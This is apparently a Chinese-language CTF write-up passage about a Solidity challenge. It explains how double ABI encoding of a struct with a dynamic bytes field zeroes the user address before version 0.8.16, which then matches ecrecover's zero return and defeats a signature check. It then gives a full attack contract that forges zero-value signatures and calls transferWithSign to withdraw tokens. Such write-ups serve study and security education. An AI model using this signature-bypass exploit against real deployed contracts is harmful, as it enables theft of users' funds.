}

Analyse

漏洞在于结构体中,如果中间的是一个不定长的字节,那么进行两次打包时,结构体的第一个将会变为0;0.8.16之前。也就是说打包的holder.user最后为0,且如果ecrecover恢复失败就会返回0,正好两者相等,就可以绕过签名,完成本题

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
contract Attack{
Wallet public wallet;
Holder public cp;
SignedByowner[] private signs;
constructor(address _wallet) {
wallet = Wallet(_wallet);
}

function attack() public{
Holder memory h;
h.user = address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);
h.reason = bytes("hhhhhhhhhhhhh");
h.name = "Tholas";
h.approve = true;
SignedByowner memory sign;
sign.holder = h;

Signature memory sig;
sig.v = 17;
sig.rs[1] = bytes32(0);
sig.rs[0] = bytes32(0);

sign.signature = sig;

signs.push(sign);
signs.push(sign);
signs.push(sign);
// caller(this).purchaseWithCoupon(signs);
wallet.transferWithSign(address(this), 100 * 10**18, signs);
}
}